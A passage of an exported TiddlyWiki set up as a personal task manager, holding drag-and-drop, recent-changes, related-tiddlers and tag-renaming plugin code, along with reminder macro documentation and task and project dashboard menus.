			{ this.savedstyle=this.style.position; this.style.position="relative"; }
		y = myElem.offsetTop;
		var next = myElem.nextSibling;
		var prev = myElem.previousSibling;
		if (next && y + myElem.offsetHeight > next.offsetTop + next.offsetHeight/2) { 
			myElem.parentNode.removeChild(myElem);
			next.parentNode.insertBefore(myElem, next.nextSibling);//elems[pos+1]);
			myElem.style["top"] = -next.offsetHeight/2+"px";
		}
		if (prev && y < prev.offsetTop + prev.offsetHeight/2) { 
			myElem.parentNode.removeChild(myElem);
			prev.parentNode.insertBefore(myElem, prev);
			myElem.style["top"] = prev.offsetHeight/2+"px";
		}
	};
	theTiddler.onDragEnd = function(x,y,myElem) {
		myElem.style["top"] = "0px";
		if (this.savedstyle!=undefined)
			this.style.position=this.savedstyle;
	};
	theHandle.onclick=function(ev) {
		ev=ev||window.event;
		var p=Popup.create(this); if (!p) return;
		var b=createTiddlyButton(createTiddlyElement(p,"li"),
			"\u25B2 move to top of column ","move this tiddler to the top of the story column",
			function() {
				var t=story.getTiddler(this.getAttribute("tid"));
				t.parentNode.insertBefore(t,t.parentNode.firstChild); // move to top of column
				window.scrollTo(0,ensureVisible(t));
				return false;
			});
		b.setAttribute("tid",title);
		var b=createTiddlyButton(createTiddlyElement(p,"li"),
			"\u25BC move to bottom of column ","move this tiddler to the bottom of the story column",
			function() {
				var t=story.getTiddler(this.getAttribute("tid"));
				t.parentNode.insertBefore(t,null); // move to bottom of column
				window.scrollTo(0,ensureVisible(t));
				return false;
			});
		b.setAttribute("tid",title);
		Popup.show();
		ev.cancelBubble=true; if (ev.stopPropagation) ev.stopPropagation(); return(false);
	};
	return theTiddler;
}
}

/**************************************************
 * dom-drag.js
 * 09.25.2001
 * www.youngpup.net
 **************************************************
 * 10.28.2001 - fixed minor bug where events
 * sometimes fired off the handle, not the root.
 **************************************************/

var Drag = {
	obj:null,

	init:
	function(o, oRoot, minX, maxX, minY, maxY) {
		o.onmousedown = Drag.start;
		o.root = oRoot && oRoot != null ? oRoot : o ;
		if (isNaN(parseInt(o.root.style.left))) o.root.style.left="0px";
		if (isNaN(parseInt(o.root.style.top))) o.root.style.top="0px";
		o.minX = typeof minX != 'undefined' ? minX : null;
		o.minY = typeof minY != 'undefined' ? minY : null;
		o.maxX = typeof maxX != 'undefined' ? maxX : null;
		o.maxY = typeof maxY != 'undefined' ? maxY : null;
		o.root.onDragStart = new Function();
		o.root.onDragEnd = new Function();
		o.root.onDrag = new Function();
	},

	start:
	function(e) {
		var o = Drag.obj = this;
		e = Drag.fixE(e);
		var y = parseInt(o.root.style.top);
		var x = parseInt(o.root.style.left);
		o.root.onDragStart(x, y, Drag.obj.root);
		o.lastMouseX = e.clientX;
		o.lastMouseY = e.clientY;
		if (o.minX != null) o.minMouseX = e.clientX - x + o.minX;
		if (o.maxX != null) o.maxMouseX = o.minMouseX + o.maxX - o.minX;
		if (o.minY != null) o.minMouseY = e.clientY - y + o.minY;
		if (o.maxY != null) o.maxMouseY = o.minMouseY + o.maxY - o.minY;
		document.onmousemove = Drag.drag;
		document.onmouseup = Drag.end;
		Drag.obj.root.style["z-index"] = "10";
		return false;
	},

	drag:
	function(e) {
		e = Drag.fixE(e);
		var o = Drag.obj;
		var ey = e.clientY;
		var ex = e.clientX;
		var y = parseInt(o.root.style.top);
		var x = parseInt(o.root.style.left);
		var nx, ny;
		if (o.minX != null) ex = Math.max(ex, o.minMouseX);
		if (o.maxX != null) ex = Math.min(ex, o.maxMouseX);
		if (o.minY != null) ey = Math.max(ey, o.minMouseY);
		if (o.maxY != null) ey = Math.min(ey, o.maxMouseY);
		nx = x + (ex - o.lastMouseX);
		ny = y + (ey - o.lastMouseY);
		Drag.obj.root.style["left"] = nx + "px";
		Drag.obj.root.style["top"] = ny + "px";
		Drag.obj.lastMouseX = ex;
		Drag.obj.lastMouseY = ey;
		Drag.obj.root.onDrag(nx, ny, Drag.obj.root);
		return false;
	},

	end:
	function() {
		document.onmousemove = null;
		document.onmouseup = null;
		Drag.obj.root.style["z-index"] = "0";
		Drag.obj.root.onDragEnd(parseInt(Drag.obj.root.style["left"]), parseInt(Drag.obj.root.style["top"]), Drag.obj.root);
		Drag.obj = null;
	},

	fixE:
	function(e) {
		if (typeof e == 'undefined') e = window.event;
		if (typeof e.layerX == 'undefined') e.layerX = e.offsetX;
		if (typeof e.layerY == 'undefined') e.layerY = e.offsetY;
		return e;
	}
};
//}}}
<<recentChanges>>
/***
|Name|RecentChangesPlugin|
|Source|http://www.TiddlyTools.com/#RecentChangesPlugin|
|Version|2.2.1|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|display droplist of recently changed tiddlers with goto, edit, and preview buttons|
!!!!!Usage
<<<
The {{{<<recentChanges>>}}} macro displays a droplist of all tiddlers that have been changed within the last N days (default=10 days).  
{{{
<<recentChanges>>
<<recentChanges #ofdays summary noEdit previewheight previewclass>>
}}}
where:
* #ofdays specifies the time limit for listing changed tiddlers.  Use 0 (zero) to list all tiddlers in the document.
* ''summary'' is an optional keyword that outputs only the summary text (without the droplist or buttons)
* ''noEdit'' is an optional keyword that hides the 'edit' button
* previewheight is a CSS height measurement and sets the FIXED height of the tiddler preview area (default is 15em)
* previewclass is any CSS classname, and can be used to apply custom styles to the preview area (default is to use the standard 'viewer' class)
<<<
!!!!!Examples
<<<
{{smallform{
{{{<<recentChanges>>}}}
<<recentChanges>>
{{{<<recentChanges 30 summary>>}}}
<<recentChanges 30 summary>>

{{{<<recentChanges 30 noedit 10em groupbox>>}}}
<<recentChanges 30 noedit 10em groupbox>>
}}}
<<<
!!!!!Revisions
<<<
2009.09.07 [2.2.1] fixed typo in shadow definition
2009.07.02 [2.2.0] added optional 'noedit' keyword to hide 'edit' button
2008.07.01 [2.1.0] added optional 'summary' keyword for simple text output
2008.05.01 [2.0.1] fixup for titles with double-quotes
2007.07.26 [2.0.0] re-written as plugin
2006.10.02 [1.0.0] initial release (as inline script ShowRecentChanges)
<<<
!!!!!Code
***/
//{{{
version.extensions.RecentChangesPlugin= {major: 2, minor: 2, revision: 1, date: new Date(2009,9,7)};

config.shadowTiddlers.RecentChanges='<<recentChanges>>';

config.macros.recentChanges = {
	handler: function(place,macroName,params,wikifier,paramString,tiddler) {
		var days=10; if (!isNaN(params[0])) days=parseInt(params[0]); // time limit in days (use 0 for all tiddlers)
		var summary=params[1]&&params[1].toLowerCase()=='summary'; if (summary) params.shift();
		var noedit=params[1]&&params[1].toLowerCase()=='noedit'; if (noedit) params.shift();
		var height='15em'; if (params[1]) height=params[1]; // preview area fixed height
		var previewclass='viewer'; if (params[2]) previewclass=params[2]; // preview area CSS class
		var tiddlers=store.getTiddlers('modified','excludeLists').reverse();
		var count=tiddlers.length;
		if (days) {
			var timelimit=(new Date()).getTime()-86400000*days;
			for (var count=0; count<tiddlers.length && tiddlers[count].modified>timelimit; count++);
		}
		var s=count+' tiddlers have changed since ';
		s+=new Date(timelimit).formatString('DDD, MMM DDth YYYY 0hh:0mm');
		s+=' ('+days+' days ago)';
		if (summary)
			{ wikify(s,place); return; }
		var opts='<option value="">'+s+'</option>';
		for (var i=0; i<count; i++) { var t=tiddlers[i];
			opts+='<option value="'+t.title.replace(/"/g,"&#x22;")+'">';
			opts+=t.modified.formatString('YYYY.0MM.0DD 0hh:0mm')+' - '+t.title;
			opts+='</option>';
		}
		var h=store.getTiddlerText('RecentChangesPlugin##html')
		h=h.replace(/%options%/,opts);
		h=h.replace(/%listwidth%/,noedit?79.5:69.5);
		h=h.replace(/%noedit%/,noedit?'none':'inline');
		createTiddlyElement(place,'div').innerHTML=h;
		var preview=createTiddlyElement(place,'div',null,previewclass);
		preview.style.display='none';
		preview.style.whiteSpace='normal';
		preview.style.overflow='auto';
		preview.style.height=height;
	}
}
//}}}
/***
//{{{
!html
<form><select size=1 name="list" style="width:%listwidth%%"
	onchange="this.form.goto.disabled=this.form.edit.disabled=this.form.preview.disabled=!this.value.length;
		var target=this.parentNode.parentNode.nextSibling; removeChildren(target);
		if (!this.value.length)
			{ target.style.display='none'; this.form.preview.value='preview'; }
		else if (target.style.display=='block') {
			wikify('<'+'<tiddler [['+this.value+']]>'+'>',target);
			target.style.display='block';
			this.form.preview.value='done';
		}
">%options%</select><!--
--><input type="button" name="goto" value="goto" disabled title="view selected tiddler" style="width:10%"
	onclick="var target=this.parentNode.parentNode.nextSibling; removeChildren(target);
		target.style.display='none'; this.form.preview.value='preview';
		story.displayTiddler(story.findContainingTiddler(this),this.form.list.value);
"><input type="button" name="edit" value="edit" disabled title="edit selected tiddler" style="width:10%;display:%noedit%"
	onclick="var target=this.parentNode.parentNode.nextSibling; removeChildren(target);
		target.style.display='none'; this.form.preview.value='preview';
		story.displayTiddler(story.findContainingTiddler(this),this.form.list.value,DEFAULT_EDIT_TEMPLATE);
"><input type="button" name="preview" value="preview" disabled title="show/hide tiddler preview" style="width:10%"
	onclick="var target=this.parentNode.parentNode.nextSibling;
		if (this.value=='preview') {
			removeChildren(target);
			wikify('<'+'<tiddler [['+this.form.list.value+']]>'+'>',target);
			target.style.display=this.form.list.value.length?'block':'none'; this.value='done';
		} else {
			removeChildren(target);
			target.style.display='none'; this.value='preview';
		}
"></form>
!end
//}}}
***/
 
Checklist
<<deleteAllTagged>> //''Warning'': This will delete all your References!!//
{{cols2{

{{col{

<<dGSDList title:'Reference Items For Active Projects' 
	tag:Reference 
	startTag:Reference 
	view:plainNotesDelistProject
	mode:global
	group:Project
	gView:bold
	newButtonTags:'Reference'
	where:tiddler.hasActiveProject()
	>>

}}}

{{col{

<<dGSDList title:'Other Reference Items' 
	tag:Reference 
	startTag:Reference 
	view:plainNotes
	mode:global
	group:Project
	gView:bold
	newButtonTags:'Reference'
	where:!tiddler.hasActiveProject()
	>>

}}}

}}}
//{{{
config.macros.references = {
  handler: function(place, m, p, w, pa, tiddler) {
    if(!tiddler) return;
    else invokeMacro(place, "list", "filter \"[linksTo[%0]]\" emptyMessage:'No references'".format(tiddler.title), null, tiddler);
  }
};
//}}}
<<relatedTiddlers>> 
/***
|Name|RelatedTiddlersPlugin|
|Source|http://www.TiddlyTools.com/#RelatedTiddlersPlugin|
|Version|1.1.8|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Requires|InlineJavascriptPlugin, NestedSlidersPlugin, StyleSheetShortcuts|
|Description|starting from a selected tiddler, display a list and/or tree of linked or transcluded tiddlers|
!!!!!Usage
<<<
Starting from a specified tiddler (default=current tiddler), {{{<<relatedTiddlers>>}}} recursively follows the internal links[] data to find all other tiddlers that are related to it by linking (e.g., {{{[[TiddlerName]]}}}) or used as macro parameter (e.g., {{{<<tiddler TiddlerName>>}}}).

The results can be displayed as a simple flat list of related tiddler titles, or as an indented tree diagram that shows the specific connections between the related tiddlers, and can be helpful for identifying clusters of interdependent tiddlers or simply generating an on-the-fly site map for quick discovery and navigation through complex or unfamiliar document content. 
//{{{
<<relatedTiddlers TiddlerName hideform "exclude list">>
//}}}
*''TiddlerName'' (optional)<br>specifies the starting tiddler (and hides the 'select a tiddler' form controls).  Use keyword ''here'' to specify the current tiddler.
*''hideform'' (optional)<br>when present, suppress display of 'select tiddler' droplist and buttons.
*''"exclude list"'' (optional)<br>space-separated list of tiddlers whose links should not be followed.  Use quotes or double-square brackets to ensure list is processed as a single parameter.
The plugin also defines two functions that can be called externally (from other plugins or scripts) to generate and retrieve either a list of links or a formatted "tree view":
>{{{var list=config.macros.relatedTiddlers.getList(start,exclude,callback);}}}
>{{{var tree=config.macros.relatedTiddlers.getTree(start,exclude,callback);}}}
where ''start'' and ''exclude'' are the same as the macro parameters described above, plus an optional reference to a callback function that allows you to generate an alternative list/tree, based on application-specific data (such tiddler references contained in tags or custom fields), rather than using the default "links" list, like this:
>{{block{
{{{
window.myCallback=function(tiddler) {
	var list=[];
	// ... fill the list based on the specified tiddler ...
	return list;
}
}}}
}}}
The function takes a tiddler object as input, and returns a list of tiddler titles that are //directly// linked (or otherwise related) to that specific tiddler.  {{{getList()}}} and {{{getTree()}}} then use this information to find all the //indirect// connections between tiddlers to produce the list or tree output.
<<<
!!!!!Configuration
<<<
<<option chkRelatedTiddlersShowList>> show list display
<<option chkRelatedTiddlersShowTree>> show tree display
<<option chkRelatedTiddlersZoom>> enable autosizing of tree display //(aka, "zoom" or "shrink-and-grow")//
don't follow links contained in these tiddlers: <<option txtRelatedTiddlersExclude>>
<<<
!!!!!Examples
<<<
{{smallform{<<relatedTiddlers>>}}}

Using getList()/getTree() public API from other scripts/plugins:
><script show>
	var start="About";
	var exclude=config.options.txtRelatedTiddlersExclude.readBracketedList();
	var callback=null;
	var list=config.macros.relatedTiddlers.getList(start,exclude,callback);
	var tree=config.macros.relatedTiddlers.getTree(start,exclude,callback);
	return "There are "+list.length+" tiddlers related to [["+start+"]]...\n"+tree;
</script>
<<<
!!!!!Revisions
<<<
2009.09.29 [1.1.8] in findRelatedTiddlers(), fixed recursion when using non-null callback
2007.11.11 [1.1.7] in findRelatedTiddlers(), refactored into separate getlinks(),<br>and added param for optional callback function that can be used to return an alternative set of links.<br>Also added API functions, getTree() and getList() for use by other scripts
2007.07.13 [1.1.6] performance optimizations, more code cleanup
2007.07.10 [1.1.5] extensive code cleanup
2007.07.08 [1.1.0] converted from inline script
2007.06.29 [1.0.0] started (as inline script)
<<<
!!!!!Code
***/
//{{{
version.extensions.RelatedTiddlersPlugin={major: 1, minor: 1, revision: 8, date: new Date(2009,9,29)};

// initialize 'autozoom' and 'exclude' tree options (defaults are not to zoom, and to follow all links)
if (config.options.chkRelatedTiddlersZoom===undefined)
	config.options.chkRelatedTiddlersZoom=false;
if (config.options.txtRelatedTiddlersExclude===undefined)
	config.options.txtRelatedTiddlersExclude='GettingStarted DefaultTiddlers';
if (config.options.chkRelatedTiddlersShowList===undefined)
	config.options.chkRelatedTiddlersShowList=true;
if (config.options.chkRelatedTiddlersShowTree===undefined)
	config.options.chkRelatedTiddlersShowTree=false;

config.macros.relatedTiddlers={
	handler: function(place,macroName,params,wikifier,paramString,tiddler) {

		// create form with unique DOM element ID (using current timestamp)... permits multiple form instances
		var now=new Date().getTime();
		var span=createTiddlyElement(place,"span");
		span.innerHTML=this.form.format(["relatedTiddlers_form"+now]);
		var form=span.getElementsByTagName("form")[0]; // find form that we just created
		var target=createTiddlyElement(span,"div"); // create target block in which generated output will be placed

		// initialize droplist contents (all tiddlers except hidden ones)
		var tids=store.getTiddlers('title','excludeLists');
		for (i=0; i<tids.length; i++) form.list.options[form.list.options.length]=new Option(tids[i].title,tids[i].title,false,false);

		// initialize exclude field (space-separated list)
		if (config.options.txtRelatedTiddlersExclude) form.exclude.value=config.options.txtRelatedTiddlersExclude;

		// set starting tiddler, form display, and/or exclude list from macro params (if present) and then show the results!
		var root="";
		var hide=false;
		var exclude=config.options.txtRelatedTiddlersExclude;
		if (params[0]) root=params[0]; // TiddlerName
		if (params[1]) hide=(params[1].toLowerCase()=="hideform"); // keyword: "hideform" or "showform" (default)
		if (params[2]) exclude=params[2]; // list of tiddlers whose links should not be followed
		if (root=="here") { var tid=story.findContainingTiddler(place); if (tid) root=tid.getAttribute("tiddler"); }
		if (store.tiddlerExists(root)) {
			// NOTE:  don't hide form when running IE, where putting initial focus on hidden form creates an error
			if (!config.browser.isIE) form.style.display=hide?"none":"block"; // show/hide the controls
			form.list.value=root; // set the root
			form.exclude.value=exclude; // set 'exclude' field
			form.get.click(); // DISPLAY INITIAL RESULTS (if tiddler is selected)
		}
	},
	form:
		"<form id='%0' action='javascript:;' style='display:inline;margin:0;padding:0;' onsubmit='return false'><!-- \
		--><span class='fine' style='float:left;vertical-align:bottom;width:39.5%;'><i>find all tiddlers related to:</i></span><!-- \
		--><span class='fine' style='float:left;vertical-align:bottom;'><i>exclude links contained in:</i></span><!-- \
		--><div style='clear:both'><!-- \
		--><select name=list size=1 style='width:39.5%' onchange='this.form.get.click()'><!-- \
		--><option value=''>select a tiddler...</option><!-- \
		--></select><!-- \
		--><input type='text' option='txtRelatedTiddlersExclude' name='exclude' value='' style='width:40%' \
			title='enter the names of tiddlers whose links should NOT be followed' \
			onkeyup='if (event.keyCode==13) { this.blur(); this.form.get.click(); }'  \
			onchange='config.options[this.getAttribute(\"option\")]=this.value;saveOptionCookie(this.getAttribute(\"option\"));'><!-- \
		--><input type=button name=get value='get related' style='width:10%'  \
			onclick='config.macros.relatedTiddlers.show(this.form,this.form.nextSibling);'><!-- \
		--><input type=button name=done value='done' disabled style='width:10%'  \
			onclick='this.form.list.selectedIndex=0; this.form.get.click();'><!-- \
		--></div><!-- \
		--></form>",
	styles:
		".relatedTiddlers blockquote \
			{ border-left:1px dotted #999; margin:0 25px; padding-left:.5em; font-size:%0%; line-height:115%; } \
		.relatedTiddlers .borderleft \
			{ margin:0; padding:0; margin-left:1em; border-left:1px dotted #999; padding-left:.5em; } \
		.relatedTiddlers .fourcolumns \
			{ display:block; -moz-column-count:4; -moz-column-gap:1em; -moz-column-width:25%} \
		.relatedTiddlers a \
			{ font-weight:normal; } \
		.relatedTiddlers .bold, .relatedTiddlers .bold a \
			{ font-weight:bold; } \
		.relatedTiddlers .floatright \
			{ float:right; } \
		.relatedTiddlers .clear \
			{ clear:both; }	",
	toggleform:
		"{{floatright{<html><a href='javascript:;' class='button' title='show/hide tiddler selection droplist and buttons' \
		onclick='var here=story.findContainingTiddler(this); var tid=here?here.getAttribute(\"tiddler\"):\"\"; \
			var f=document.getElementById(\"%0\"); var hide=(f.style.display!=\"none\"); \
			f.style.display=hide?\"none\":\"inline\"; this.innerHTML=hide?\"show form\":\"hide form\"; return false;'>%1</a></html>}}}",
	treecheck:
		"{{floatright{@@display:none;<<option chkRelatedTiddlersShowTree>>@@<html><a href='javascript:;' class='button' onclick='this.parentNode.previousSibling.firstChild.click(); return false;'>tree view</a></html>}}}",
	tree:
		"{{clear{\n----\n}}} \
		{{floatright small{<<option chkRelatedTiddlersZoom>>autosize tree display}}} \
		{{fine{\n''tiddlers linked from or included by'' [[%0]]\n}}}%1",
	listcheck:
		"{{floatright{@@display:none;<<option chkRelatedTiddlersShowList>>@@<html><a href='javascript:;' class='button' onclick='this.parentNode.previousSibling.firstChild.click(); return false;'>list view</a></html>}}}",
	list:
		"{{clear{\n----\n}}} \
		{{fine{\n''tiddlers containing links to'' [[%0]]\n}}} \
		{{small fourcolumns borderleft{\n%1}}} \
		{{fine{\n''tiddlers linked from or included by'' [[%0]]\n}}} \
		{{borderleft{\n \
			{{fine{\n''bold''=//direct links//, plain=//indirect links//, ''...''=//links not followed//}}} \
			{{small fourcolumns{\n%2}}} \
		}}}",
	skipped:
		"<html><span title='links from %0 have NOT been followed'>...</span></html>",
	mouseover: function(ev) {
		this.saveSize=this.style.fontSize;
		this.style.fontSize='100%';
		this.style.borderLeftStyle='solid';
	},
	mouseout: function(ev) {
		this.style.fontSize=this.saveSize;
		this.style.borderLeftStyle='dotted';
	},
	findRelatedTiddlers: function(tid,tids,treeout,level,exclude,callback) { 
		// recursively build list of related tids (links and includes FROM the root tiddler) and generate treeview output
		var t=store.getTiddler(tid);
		if (!t || tids.contains(tid)) return tids; // tiddler already in results (or missing tiddler)... just return current results
		tids.push(t.title); // add tiddler to results
		var skip=exclude && exclude.contains(tid);
		treeout.text+=level+"[["+tid+"]]"+(skip?this.skipped.format([tid]):"")+"\n";
		if (skip) return tids; // branch is pruned... don't follow links
		var links=callback?callback(t):this.getLinks(t);
		for (var i=0; i<links.length; i++) tids=this.findRelatedTiddlers(links[i],tids,treeout,level+">",exclude,callback);
		return tids;
	},
	getLinks: function(tiddler) {
		if (!tiddler.linksUpdated) tiddler.changed();
		return tiddler.links;
	},
	getTree: function(start,exclude,callback) {
		// get related tiddlers and generate blockquote-indented tree output
		var list=[]; var tree={text:""}; var level="";
		list=this.findRelatedTiddlers(start,list,tree,level,exclude,callback);
		return tree.text;
	},
	getList: function(start,exclude,callback) {
		// get related tiddlers and generate blockquote-indented tree output
		var list=[]; var tree={text:""}; var level="";
		list=this.findRelatedTiddlers(start,list,tree,level,exclude,callback);
		return list;
	},
	show: function(form,target) {
		removeChildren(target); form.done.disabled=true; // clear any existing output and disable 'done' button
		var start=form.list.value; if (!start.length) return; // get selected starting tiddler.  If blank value (heading), do nothing

		// get related tiddlers and generate blockquote-indented tree output
		var rels=[]; var treeview={text:""}; var level="";
		var exclude=config.options.txtRelatedTiddlersExclude.readBracketedList();
		var rels=this.findRelatedTiddlers(start,rels,treeview,level,exclude);
		rels.shift(); // remove self from list
		rels.sort(); // sort titles alphabetically

		// generate list output
		var tid=store.getTiddler(start);
		var relsview=""; for (t=0; t<rels.length; t++) {
			relsview+=tid.links.contains(rels[t])?("{{bold{[["+rels[t]+"]]}}}"):("[["+rels[t]+"]]");
			if (exclude && exclude.contains(rels[t])) relsview+=this.skipped.format([rels[t]]);
			relsview+="\n";
		}
	
		// get references TO the root tiddler, add to related tiddlers and generate refsview output
		var refs=[]; var referers=store.getReferringTiddlers(start);
		for(var r=0; r<referers.length; r++)
			if(referers[r].title!=start && !referers[r].tags.contains("excludeLists")) refs.push(referers[r].title);
		var refcount=refs.length; var relcount=rels.length; // remember individual counts
		for (var r=0; r<refs.length; r++) rels.pushUnique(refs[r]); // combine lists without duplicates
		var total=rels.length; // get combined total
		var refsview="[["+refs.sort().join("]]\n[[")+"]]\n";
	
		// set custom blockquote styles for treeview
		setStylesheet(this.styles.format([config.options.chkRelatedTiddlersZoom?80:100]),'relatedTiddlers_styles');

		// assemble and render output
		var summary=(total?(total+" tiddler"+(total==1?" is":"s are")):"There are no tiddlers")+" related to: [["+start+"]]";
		var list=this.list.format([start,refsview.length?refsview:"//none//",relsview.length?relsview:"//none//"]);
		var tree=this.tree.format([start,treeview.text]);
		var toggle=this.toggleform.format([form.id,(form.style.display=='none'?'show form':'hide form')]);
		var sep="{{floatright{ | }}}";
		var showList=total && config.options.chkRelatedTiddlersShowList;
		var showTree=relcount && config.options.chkRelatedTiddlersShowTree;
		var out="{{relatedTiddlers{"+toggle+(relcount?sep+this.treecheck:"")+(total?sep+this.listcheck:"")+summary+(showList?list:"")+(showTree?tree:"")+"}}}";
		wikify(out,target);
		form.done.disabled=false; // enable 'done' button

		// add mouseover/mouseout handling to blockquotes (for autosizing)
		var blocks=target.getElementsByTagName("blockquote");
		for (var b=0; b<blocks.length; b++)
			{ blocks[b].onmouseover=this.mouseover; blocks[b].onmouseout=this.mouseout; }

		// add side-effect to checkboxes so that display is refreshed when a checkbox state is changed
		var checks=target.getElementsByTagName("input");
		for (var c=0; c<checks.length; c++) {
			if (checks[c].type.toLowerCase()!="checkbox") continue;
			checks[c].coreClick=checks[c].onclick; // save standard click handler
			checks[c].formID=form.id; // link checkbox with correponding form
			checks[c].onclick=function() { this.coreClick.apply(this,arguments); document.getElementById(this.formID).get.click(); }
		}
	}
}
//}}}
!!!!Use the showReminders macro to show upcoming reminders
showReminders searches through all tidders to find reminders that will be matched in the near future.  Edit this tiddler to see the syntax

Note that leadtime is 14 days by default, but below, it is specified as 30 days.

<<showReminders leadtime:30>>
!!!!Filtering based on tags
You can limit your search to only tiddlers with a certain tag:

<<showReminders leadtime:30 tag:"examples">>
<<showReminders leadtime:30 tag:"!holidays">>
!!!!Limiting the results
Individual reminders can have a lead time that overrides the leadtime in showReminders.  To turn off this behavior, use the limit argument to showReminders

<<showReminders leadtime:5 limit>>
!!!!Advanced formatting
You can use the format parameter to override the default message that is printed.  For example, the following prints out a table of upcoming reminders.

<<showReminders leadtime:30 format:"|DIFF|TITLE|TIDDLER|">>
!!!!Specific Dates
If you want, and I don't know why you would, you can provide showReminders with a date to start from.  This example shows two weeks worth of reminders starting at December 20th.

<<showReminders month:12 day:20 >>
<<showReminders leadtime:21 year:2006 month:1 day:8 format:"|DIFF|TITLE|TIDDLER|">>

<<showReminders leadtime:21 year:2006 month:2 day:15 format:"|DIFF|TITLE|TIDDLER|">>

----

* @@{{{leadtime:NUMBER}}}@@ or @@{{{leadtime:NUMBER...NUMBER}}}@@ - Use this to specify a lower and upper bound for reminders that will be shown.  If only one number is specified, then it is treated as the upper bound, and zero is assumed for the lower bound.  These bounds can be negative, in order to show past due reminders.  For example, {{{leadtime:-5...-1}}} will show all reminders that matched in the last five days.  If reminders specify a leadtime, then they may show up, even when they don't fit into showReminder's leadtime bounds.  Use the limit argument to showReminders to override this behavior.  If the leadtime parameter is missing, then {{{leadtime:0...14}}} will be assumed.

* @@{{{nolinks}}}@@ - Deprecated.  Override the format argument to control what the output looks like.

* @@{{{limit}}}@@ - By default, individual reminders can override the leadtime specified by showReminders.  Use this argument to override that behavior.

* @@{{{tag:"STRING"}}}@@ - This filters out tiddlers based on the tag applied to them.  Supply a space-separated list of tags.  If a tag name begins with an {{{!}}}, then only tiddlers which do not have that tag will be considered.  For example {{{tag:"examples holidays"}}} will search for reminders in any tiddlers that are tagged with examples or holidays and {{{tag:"!examples !holidays"}}} will search for reminders in any tiddlers that are not tagged with examples or holidays.

* @@{{{format:"STRING"}}}@@ - Use this argument to override the default string used for display.  You can put standard TiddlyWiki formatting in the format.  The following substitutions will be made in the string before it is displayed.
** DIFF will be replaced with the one of the strings "Today", "Tommorrow", or "N days", where N is the number of days between now and the date of the reminder.  
** TITLE will be replaced with the title of the reminder
** DATE will be replaced with the matched date of the reminder.
** ANNIVERSARY will be replaced with the number of years since between the matched date and firstyear
** TIDDLER will be replaced with a link to the tiddler that contains the reminder. For example: [[Hello there]]
** TIDDLERNAME will be replaced with the text of the tiddler title contains the reminder.  For example: Hello there
The default string is "DIFF: TITLE on DATE ANNIVERSARY -- TIDDLER"
!!Next 2 Weeks of Reminders:
<<showReminders>>

<<displayTiddlersWithReminders>>

<<deleteAllTagged>>
/***
|Name:|RenameTagsPlugin|
|Description:|Allows you to easily rename or delete tags across multiple tiddlers|
|Version:|3.0a|
|Date:|27-Jun-2011|
|Source:|http://mptw.tiddlyspot.com/#RenameTagsPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License|http://mptw.tiddlyspot.com/#TheBSDLicense|
Rename a tag and you will be prompted to rename it in all its tagged tiddlers.
***/
//{{{
config.renameTags = {

  prompts: {
    rename: "Rename the tag '%0' to '%1' in %2 tidder%3?",
    remove: "Remove the tag '%0' from %1 tidder%2?"
  },

  removeTag: function(tag,tiddlers) {
    store.suspendNotifications();
    for (var i=0;i<tiddlers.length;i++) {
      store.setTiddlerTag(tiddlers[i].title,false,tag);
    }
    store.resumeNotifications();
    store.notifyAll();
  },

  renameTag: function(oldTag,newTag,tiddlers) {
    store.suspendNotifications();
    for (var i=0;i<tiddlers.length;i++) {
      store.setTiddlerTag(tiddlers[i].title,false,oldTag); // remove old
      store.setTiddlerTag(tiddlers[i].title,true,newTag);  // add new
    }
    store.resumeNotifications();
    store.notifyAll();
  },

  storeMethods: {

    saveTiddler_orig_renameTags: TiddlyWiki.prototype.saveTiddler,

    saveTiddler: function(title,newTitle,newBody,modifier,modified,tags,fields,clearChangeCount,created,creator) {
      if (title != newTitle) {
        var tagged = this.getTaggedTiddlers(title);
        if (tagged.length > 0) {
          // then we are renaming a tag
          if (confirm(config.renameTags.prompts.rename.format([title,newTitle,tagged.length,tagged.length>1?"s":""])))
            config.renameTags.renameTag(title,newTitle,tagged);

          if (!this.tiddlerExists(title) && newBody == "")
            // dont create unwanted tiddler
            return null;
        }
      }
      return this.saveTiddler_orig_renameTags(title,newTitle,newBody,modifier,modified,tags,fields,clearChangeCount,created,creator);
    },

    removeTiddler_orig_renameTags: TiddlyWiki.prototype.removeTiddler,

    removeTiddler: function(title) {
      var tagged = this.getTaggedTiddlers(title);
      if (tagged.length > 0)
        if (confirm(config.renameTags.prompts.remove.format([title,tagged.length,tagged.length>1?"s":""])))
          config.renameTags.removeTag(title,tagged);
      return this.removeTiddler_orig_renameTags(title);
    }

  },

  init: function() {
    merge(TiddlyWiki.prototype,this.storeMethods);
  }
}

config.renameTags.init();

//}}}
order:2
button:r
buttonLong:rescheduled
Responsible for Project's Actions

order:1
button:r
buttonLong:responsible
!!Review Your Inbox
!!!Actions
[[My Tasks|David Szego]]
[[Next and Waiting Actions by Priority]]
[[Delegated Tasks Dashboard]]
{{tiny{
<slider More Actions...>
[[Next and Waiting Actions by Project]]
[[Next Actions by Realm]]
[[Action Dashboard by Status]]
[[Action Dashboard by Context]]
[[Action Dashboard by Contact]]
[[Done Actions]]
</slider>
}}}
!!!Projects
[[Active Projects by Priority]]
{{tiny{
<slider More Projects...>
[[Projects Dashboard by Area]]
[[Active Projects With No Next Action]]
[[Projects Dashboard]]
[[Projects Dashboard by Realm]]
[[Someday/Maybe and Future]]
[[Someday Projects With No Tickler]]
[[Subprojects]]
[[Completed Projects]]
</slider>
}}}
!!!Ticklers
[[Tickler Dashboard]]
!!!Contexts
{{tiny{
<slider+ Active Contexts>
<<dGSDList startTag:Action tags:'Next && !Done' groupCountOnly:yes group:Context gView:plain where:tiddler.hasActiveProject()>>
</slider>
<slider All contexts>
<<dGSDList startTag:Context>>
</slider>
}}}
!!!Other
[[Contacts|Contact]]
[[Reference Items]]
[[Starred Items]]
[[Book Library]]
!!!Areas
{{tiny{
<slider+ Active Areas>
<<dGSDList startTag:Project tags:'Active && !Complete' groupCountOnly:yes group:Area gView:plain>>
</slider>
<slider All Areas>
<<dGSDList startTag:Area>>
</slider>
}}}
!!!!Housekeeping:
{{tiny{
[[Cleanup]]
[[Mismatched Realms]]
}}}
[[ProjectDash - Realm]]
[[ProjectDash - Area]]

[[Active - Priority]]
[[Active - No Next Action]]

[[ActionDash - Project]]
[[NextDash]]

